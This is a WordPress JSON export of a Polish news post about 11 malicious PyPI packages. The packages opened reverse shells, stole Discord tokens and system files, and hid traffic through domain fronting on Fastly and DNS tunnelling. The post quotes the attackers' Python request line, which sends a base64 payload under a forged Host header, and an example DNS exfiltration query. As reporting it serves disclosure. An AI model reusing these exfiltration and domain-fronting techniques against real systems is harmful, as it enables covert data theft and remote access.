{"id":102339,"date":"2021-11-20T09:36:56","date_gmt":"2021-11-20T07:36:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi"},"modified":"2021-11-20T09:36:56","modified_gmt":"2021-11-20T07:36:57","slug":"v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","title":{"rendered":"W katalogu PyPI zidentyfikowano z\u0142o\u015bliwe biblioteki wykorzystuj\u0105ce CDN PyPI do ukrywania kana\u0142u komunikacji","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>W katalogu PyPI (Python Package Index) zidentyfikowano 11 pakiet\u00f3w zawieraj\u0105cych z\u0142o\u015bliwy kod. Zanim wykryto problemy, \u0142\u0105cznie pakiety zosta\u0142y pobrane oko\u0142o 38 tysi\u0119cy razy. Zidentyfikowane z\u0142o\u015bliwe pakiety wyr\u00f3\u017cniaj\u0105 si\u0119 stosowaniem skomplikowanych metod ukrywania kana\u0142\u00f3w komunikacji z serwerami cyberprzest\u0119pc\u00f3w.     <\/p>\n<ul>\n<li class=\"l\"> importantpackage (6305 pobra\u0144), important-package (12897) \u2014 nawi\u0105zywa\u0142y po\u0142\u0105czenie z zewn\u0119trznym serwerem, podszywaj\u0105c si\u0119 pod po\u0142\u0105czenie z pypi.python.org w celu udost\u0119pnienia dost\u0119pu shell do systemu (reverse shell) i u\u017cywa\u0142y programu trevorc2 do ukrycia kana\u0142u komunikacji.\n<li class=\"l\"> pptest (10001), ipboards (946) \u2014 wykorzystywa\u0142y DNS jako kana\u0142 komunikacji do przesy\u0142ania informacji o systemie (w pierwszym pakiecie nazwa hosta, katalog roboczy, wewn\u0119trzny i zewn\u0119trzny IP, w drugim \u2014 nazwa u\u017cytkownika i hosta).\n<li class=\"l\"> owlmoon (3285), DiscordSafety (557), yiffparty (1859) \u2014 wykrywa\u0142y w systemie token us\u0142ugi Discord i wysy\u0142a\u0142y go na zewn\u0119trzny host.\n<li class=\"l\"> trrfab (287) \u2014 przesy\u0142a\u0142 na zewn\u0119trzny host identyfikator, nazw\u0119 hosta oraz zawarto\u015b\u0107 \/etc\/passwd, \/etc\/hosts, \/home.\n<li class=\"l\"> 10Cent10 (490) \u2014 nawi\u0105zywa\u0142 odwrotne po\u0142\u0105czenie shell z zewn\u0119trznym hostem.\n<li class=\"l\"> yandex-yt (4183) \u2014 wy\u015bwietla\u0142 komunikat o kompromitacji systemu i przekierowywa\u0142 na stron\u0119 z dodatkowymi informacjami o dalszych dzia\u0142aniach, podawan\u0105 przez nda.ya.ru (api.ya.cc).  <\/ul>\n<p>Szczeg\u00f3ln\u0105 uwag\u0119 zwraca metoda \u0142\u0105czenia si\u0119 z zewn\u0119trznymi hostami, stosowana w pakietach importantpackage i important-package, kt\u00f3re u\u017cywa\u0142y do ukrycia swojej aktywno\u015bci sieci dostarczania tre\u015bci Fastly, stosowanej w katalogu PyPI. Faktycznie, zapytania by\u0142y wysy\u0142ane do serwera pypi.python.org (w tym podaj\u0105c nazw\u0119 python.org w SNI w obr\u0119bie zapytania HTTPS), ale jednocze\u015bnie w nag\u0142\u00f3wku HTTP \u201eHost\u201d podawano nazw\u0119 serwera kontrolowanego przez atakuj\u0105cych (sec.forward.io.global.prod.fastly.net). Sie\u0107 dostarczania tre\u015bci kierowa\u0142a takie zapytanie do serwera atakuj\u0105cych, wykorzystuj\u0105c podczas przesy\u0142ania danych parametry po\u0142\u0105czenia TLS z pypi.python.org.       <\/p>\n<p>Dzia\u0142anie infrastruktury PyPI zapewniane jest przy wsparciu sieci dostarczania tre\u015bci Fastly, w kt\u00f3rej do cache'owania typowych zapyta\u0144 u\u017cywa si\u0119 przezroczystego proxy Varnish, a tak\u017ce stosuje si\u0119 obs\u0142ug\u0119 certyfikat\u00f3w TLS na poziomie CDN, a nie na ko\u0144cowych serwerach, aby zorganizowa\u0107 przekazywanie zapyta\u0144 HTTPS przez proxy. Niezale\u017cnie od docelowego hosta, zapytania kierowane s\u0105 do proxy, kt\u00f3re okre\u015bla odpowiedni host na podstawie nag\u0142\u00f3wka HTTP \u201eHost\u201d, a <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/domain\/\"   title=\"domeny\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"934\">domeny<\/a> Hosty s\u0105 przypisywane do standardowych adres\u00f3w IP load balancer\u00f3w CDN Fastly dla wszystkich klient\u00f3w.      <\/p>\n<p>Serwer atakuj\u0105cych jest r\u00f3wnie\u017c rejestrowany w CDN Fastly, kt\u00f3ry oferuje wszystkim ch\u0119tnym darmowe plany taryfowe i pozwala nawet na anonimow\u0105 rejestracj\u0119. Co ciekawe, do wysy\u0142ania \u017c\u0105da\u0144 do ofiary przy tworzeniu \u201ereverse shell\u201d u\u017cywana jest ta sama metoda, ale inicjowana ze strony hosta sprawcy. Interakcja z serwerem atakuj\u0105cych wygl\u0105da z zewn\u0105trz jak legalna sesja z katalogiem PyPI, szyfrowana przy u\u017cyciu <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/ssl-sertifikat\/\"   title=\"certyfikatu TLS\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"951\">certyfikatu TLS<\/a> PyPI. Technika ta, znana pod nazw\u0105 \u201edomain fronting\u201d, by\u0142a wcze\u015bniej intensywnie wykorzystywana do ukrywania nazwy hosta w celu obej\u015bcia blokad, u\u017cywaj\u0105c mo\u017cliwo\u015bci z niekt\u00f3rych sieci CDN do korzystania z HTTPS, wskazuj\u0105c w SNI fa\u0142szywy host, a przekazuj\u0105c rzeczywist\u0105 nazw\u0119 \u017c\u0105danego hosta w nag\u0142\u00f3wku HTTP Host wewn\u0105trz sesji TLS.     <center><img decoding=\"async\" alt=\"W katalogu PyPI zidentyfikowano z\u0142o\u015bliwe biblioteki wykorzystuj\u0105ce CDN PyPI do ukrywania kana\u0142u komunikacji \" src=\"\/wp-content\/uploads\/2021\/11\/9e9761458829291aded542d2bcae4cf3.jpg\" style=\"display:block;margin: 0 auto;\" \/><\/center>      <\/p>\n<p>Aby ukry\u0107 z\u0142o\u015bliw\u0105 aktywno\u015b\u0107, dodatkowo wykorzystano pakiet TrevorC2, kt\u00f3ry umo\u017cliwia interakcj\u0119 z serwerem, kt\u00f3ra przypomina zwyk\u0142\u0105 nawigacj\u0119 webow\u0105. Na przyk\u0142ad z\u0142o\u015bliwe \u017c\u0105dania wysy\u0142ane by\u0142y pod postaci\u0105 pobierania obrazu \u201ehttps:\/\/pypi.python.org\/images\/guid=\u201d z kodowaniem informacji w parametrze guid.           url = \u201ehttps:\/\/pypi.python.org\u201d + \u201e\/images\u201d + \u201e?\u201d + \u201eguid=\u201d + b64_payload     r = request.Request(url, headers = {\u2018Host\u2019: \u201epsec.forward.io.global.prod.fastly.net\u201d})      <\/p>\n<p>W pakietach pptest i ipboards zastosowano inne podej\u015bcie do ukrycia aktywno\u015bci sieciowej, oparte na kodowaniu u\u017cytecznych informacji w zapytaniach do serwera DNS. Z\u0142o\u015bliwe oprogramowanie przesy\u0142a informacje, wykonuj\u0105c zapytania DNS typu \u201enu4timjagq4fimbuhe.example.com\u201d, w kt\u00f3rych przy u\u017cyciu formatu base64 zakodowane s\u0105 dane przekazywane do serwera zarz\u0105dzaj\u0105cego. Sprawca odbiera dane wiadomo\u015bci, kontroluj\u0105c serwer DNS dla domeny example.com.<br \/>\n<br \/>\u0179r\u00f3d\u0142o: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=56190\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437. \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. importantpackage (6305 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a), important-package (12897) &#8212; \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a pypi.python.org \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102340,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.1.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/pl\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.1.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"pl_PL\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/pl\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2021-11-20T07:36:57+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47W katalogu PyPI odkryto z\u0142o\u015bliwe biblioteki, kt\u00f3re wykorzystuj\u0105 CDN PyPI do ukrycia kana\u0142u komunikacji | ProHoster","description":"W katalogu PyPI (Python Package Index) zidentyfikowano 11 pakiet\u00f3w zawieraj\u0105cych z\u0142o\u015bliwy kod. Przed wykryciem problem\u00f3w pakiety zd\u0105\u017cy\u0142y zosta\u0107 pobrane oko\u0142o 38 tysi\u0119cy razy.","canonical_url":"https:\/\/prohoster.info\/pl\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"pl_PL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 CDN PyPI \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 | ProHoster","og:description":"\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI (Python Package Index) \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 11 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u0414\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u0443\u043c\u043c\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u043a\u043e\u043b\u043e 38 \u0442\u044b\u0441\u044f\u0447 \u0440\u0430\u0437.","og:url":"https:\/\/prohoster.info\/pl\/blog\/news\/v-kataloge-pypi-vyyavleny-vredonosnye-biblioteki-ispolzuyushhie-cdn-pypi-dlya-skrytiya-kanala-svyazi","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-11-20T07:36:57+00:00","article:modified_time":"2021-11-20T07:36:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102339","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-11-20 07:37:34","updated":"2026-02-08 21:02:57","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/102339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/comments?post=102339"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/102339\/revisions"}],"predecessor-version":[{"id":158143,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/102339\/revisions\/158143"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/media\/102340"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/media?parent=102339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/categories?post=102339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/tags?post=102339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}